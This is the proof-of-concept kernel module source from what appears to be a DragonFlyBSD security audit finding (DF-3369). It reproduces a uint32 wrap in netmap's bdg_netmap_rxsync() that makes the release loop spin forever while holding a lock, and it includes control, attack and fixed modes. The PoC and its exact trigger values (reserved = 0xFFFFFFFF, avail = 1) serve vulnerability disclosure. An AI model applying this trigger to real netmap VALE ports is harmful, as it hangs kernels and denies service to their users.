โฌข DragonFlyBSD Kernel Audit
DF-3369 / df3369_kmod.c
โ† back to finding โ†“ download raw
/*
 * DF-3369 PoC โ€” bdg_netmap_rxsync(): uint32 wrap of (reserved + avail)
 *               defeats the sanity check, k escapes the ring index space,
 *               release loop `for (n = 0; j != k; n++)` never terminates โ€”
 *               unkillable spin holding the kring q_lock exclusively.
 *
 * The vulnerable function below is copied VERBATIM from
 * sys/net/netmap/netmap_vale.c:1485-1535 (bdg_netmap_rxsync), with only:
 *   - netmap_kern.h machinery stubbed (documented inline; the stubs cannot
 *     influence the loop control variables cur/reserved/avail/nr_hwcur),
 *   - clearly marked INSTRUMENTATION (iteration counter + bail-out so the
 *     demonstration returns instead of hanging the guest; in the real
 *     subsystem there is no bail-out).
 *
 * Why a standalone KLD: netmap does not compile on this tree (platform
 * fact, netmap.c pass-2).  bdg_netmap_rxsync is the nm_rxsync of every
 * VALE port (netmap_vale.c:1551, set by bdg_netmap_attach) and runs on
 * every NIOCRXSYNC ioctl from the port's mmap()ed user process โ€” the ring
 * fields it trusts (cur, reserved, avail) live in user-writable shared
 * memory.
 *
 * The arithmetic (ring of 1024 slots, lim = 1023):
 *   user writes: cur = 5, reserved = 0xFFFFFFFF, avail = 1
 *   check  (netmap_vale.c:1503):  resvd + ring->avail >= lim + 1
 *         0xFFFFFFFF + 1 = 0  (uint32 wrap)  -> 0 >= 1024 is FALSE
 *         -> reserved NOT reset
 *   k = k + lim + 1 - resvd  (mod 2^32) = 5 + 1024 + 1 = 1030
 *   j = nr_hwcur = 0 cycles 0..1023 via nm_next()  ->  j != k forever
 *   => infinite loop with kring->q_lock held LK_EXCLUSIVE (netisr ctx)
 *   => nr_hwavail -= n etc. never reached; thread never returns to user.
 *
 * Modes (sysctl debug.df3369.mode, then debug.df3369.trigger=1):
 *   0 = control : reserved = 4, avail = 1  -> k = 2, loop runs 2 steps.
 *   1 = attack  : reserved = 0xFFFFFFFF, avail = 1 -> k = 1030 (out of
 *                 range); bail-out after debug.df3369.bail iterations
 *                 reports non-termination.
 *
 * Fixed variant (-DDD3369_FIXED): also reject resvd >= ring size, so the
 * wrap cannot smuggle an out-of-range reserve past the check.
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/lock.h>

#include <net/if.h>			/* IFNAMSIZ for netmap.h */
#include <net/netmap/netmap.h>		/* struct netmap_slot / constants */

/* ---------- stubs (documented; cannot influence loop control) -------- */
#define unlikely(x)		(x)
#define likely(x)		(x)
static char df_nmbuf[2048];
static char *netmap_buffer_base;	/* netmap_kern.h global, stub */
#define BDG_NMB(na, slot)	(df_nmbuf)	/* != netmap_buffer_base */

struct netmap_kring {			/* subset used by the verbatim code */
	struct netmap_ring *ring;
	uint32_t nr_hwcur;
	uint32_t nr_hwavail;
	uint32_t nkr_num_slots;
	struct lock q_lock;
};
struct netmap_adapter {			/* subset */
	struct netmap_kring *rx_rings;
};

static int
netmap_ring_reinit(struct netmap_kring *kring)	/* stub: counter */
{
	(void)kring;
	kprintf("df3369: [D] ouch dangerous reset!!! "
	    "(netmap_ring_reinit path)\n");
	return 1;
}

static inline uint32_t
nm_next(uint32_t i, uint32_t lim)	/* verbatim netmap_kern.h:196-201 */
{
	return unlikely (i == lim) ? 0 : i + 1;
}

/* netmap_ring has const members; mirror the layout in a writable struct */
struct df_ring {
	ssize_t		buf_ofs;
	uint32_t	num_slots;
	uint32_t	avail;
	uint32_t	cur;
	uint32_t	reserved;
	uint16_t	nr_buf_size;
	uint16_t	flags;
	struct timeval	ts;
	struct netmap_slot slot[0];
};

/* INSTRUMENTATION */
static u_int df3369_iters;
static u_int df3369_stuck;
static u_int df3369_bail = 1000000;

/*
 * ===== VERBATIM bdg_netmap_rxsync() from
 * ===== sys/net/netmap/netmap_vale.c:1485-1535
 * (stubs above; INSTRUMENTATION lines are the only additions)
 */
static int
bdg_netmap_rxsync(struct netmap_adapter *na, u_int ring_nr, int flags)
{
	struct netmap_kring *kring = &na->rx_rings[ring_nr];
	struct netmap_ring *ring = kring->ring;
	u_int j, lim = kring->nkr_num_slots - 1;
	u_int k = ring->cur, resvd = ring->reserved;
	int n;

	(void)flags;
	lockmgr(&kring->q_lock, LK_EXCLUSIVE);
	if (k > lim) {
		kprintf("df3369: [D] ouch dangerous reset!!!\n"); /* was D */
		n = netmap_ring_reinit(kring);
		goto done;
	}

	/* skip past packets that userspace has released */
	j = kring->nr_hwcur;    /* netmap ring index */
	if (resvd > 0) {
#ifdef DF3369_FIXED
		/* FIX: reject any reserve >= ring size as well, so the
		 * uint32 wrap of (resvd + avail) cannot pass the check. */
		if (resvd >= lim + 1 || resvd + ring->avail >= lim + 1) {
#else
		if (resvd + ring->avail >= lim + 1) {
#endif
			kprintf("df3369: [D] XXX invalid reserve/avail "
			    "%u %u\n", resvd, ring->avail);  /* was D */
			ring->reserved = resvd = 0; // XXX panic...
		}
		k = (k >= resvd) ? k - resvd : k + lim + 1 - resvd;
	}

	if (j != k) { /* userspace has released some packets. */
		n = k - j;
		if (n < 0)
			n += kring->nkr_num_slots;
		for (n = 0; likely(j != k); n++) {
			struct netmap_slot *slot = &ring->slot[j];
			void *addr = BDG_NMB(na, slot);

			if (addr == netmap_buffer_base) { /* bad buf */
				kprintf("df3369: [D] bad buffer index %d, "
				    "ignore ?\n", slot->buf_idx); /* was D */
			}
			slot->flags &= ~NS_BUF_CHANGED;
			j = nm_next(j, lim);
			if (++df3369_iters >= df3369_bail) {	/* INSTR */
				df3369_stuck = 1;
				break;
			}
		}
		kring->nr_hwavail -= n;
		kring->nr_hwcur = k;
	}
	/* tell userspace that there are new packets */
	ring->avail = kring->nr_hwavail - resvd;
	n = 0;
done:
	lockmgr(&kring->q_lock, LK_RELEASE);
	return n;
}

/* ---------- scenario driver ---------- */
static int df3369_mode;			/* 0 = control, 1 = attack */
static struct df_ring *df_ring;
static struct netmap_kring df_kring;
static struct netmap_adapter df_na;

static int
df3369_run(void)
{
	u_int nslots = 1024, lim = nslots - 1;
	u_int cur = 5, resvd, avail = 1;

	resvd = (df3369_mode == 1) ? 0xFFFFFFFF : 4;

	if (df_ring == NULL)
		df_ring = kmalloc(sizeof(*df_ring) +
		    nslots * sizeof(struct netmap_slot),
		    M_DEVBUF, M_WAITOK | M_ZERO);
	*(uint32_t *)(uintptr_t)&df_ring->num_slots = nslots;
	df_ring->cur = cur;			/* user writes: 5 <= lim OK */
	df_ring->reserved = resvd;		/* user writes: NEVER validated */
	df_ring->avail = avail;			/* user writes */

	df_na.rx_rings = &df_kring;
	df_kring.ring = (struct netmap_ring *)df_ring;
	df_kring.nr_hwcur = 0;
	df_kring.nr_hwavail = 10;
	df_kring.nkr_num_slots = nslots;

	df3369_iters = 0;
	df3369_stuck = 0;

	kprintf("df3369: mode %d: nslots=%u lim=%u cur=%u "
	    "reserved=0x%08x avail=%u, nr_hwcur=0\n",
	    df3369_mode, nslots, lim, cur, resvd, avail);
	kprintf("df3369: check (resvd+avail >= lim+1): 0x%08x >= %u ? %s\n",
	    (u_int)(resvd + avail), lim + 1,
	    (resvd + avail >= lim + 1) ? "TRUE (reset)" :
	    "FALSE (wrap defeats check)");

	bdg_netmap_rxsync(&df_na, 0, 0);

	if (df3369_stuck)
		kprintf("df3369: RESULT NON-TERMINATING: %u iterations "
		    "without j reaching k (k = %u is OUTSIDE [0..%u]; "
		    "j cycles via nm_next) โ€” in the real subsystem this "
		    "loop spins forever holding q_lock exclusive\n",
		    df3369_iters,
		    df3369_mode == 1 ? (cur + lim + 2) : 0, lim);
	else
		kprintf("df3369: RESULT terminated after %u iterations; "
		    "nr_hwcur=%u avail=%u\n", df3369_iters,
		    df_kring.nr_hwcur, df_ring->avail);
	return 0;
}

static int
df3369_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, t = 0;

	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	return (df3369_run());
}

SYSCTL_NODE(_debug, OID_AUTO, df3369, CTLFLAG_RW, 0, "DF-3369 trigger");
SYSCTL_INT(_debug_df3369, OID_AUTO, mode, CTLFLAG_RW, &df3369_mode, 0,
    "0=control(reserved=4),1=attack(reserved=0xFFFFFFFF)");
SYSCTL_UINT(_debug_df3369, OID_AUTO, bail, CTLFLAG_RW, &df3369_bail, 0,
    "iteration bail-out (INSTRUMENTATION)");
SYSCTL_PROC(_debug_df3369, OID_AUTO, trigger, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df3369_sysctl, "I", "run verbatim bdg_netmap_rxsync scenario");

static int
df3369_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		lockinit(&df_kring.q_lock, "df3369q", 0, 0);
		kprintf("df3369: loaded (netmap_vale.c bdg_netmap_rxsync "
		    "reserved-wrap livelock test)\n");
		return 0;
	case MOD_UNLOAD:
		if (df_ring)
			kfree(df_ring, M_DEVBUF);
		kprintf("df3369: unloaded\n");
		return 0;
	default:
		return EOPNOTSUPP;
	}
}

static moduledata_t df3369_mod = { "df3369", df3369_modevent, NULL };
DECLARE_MODULE(df3369, df3369_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);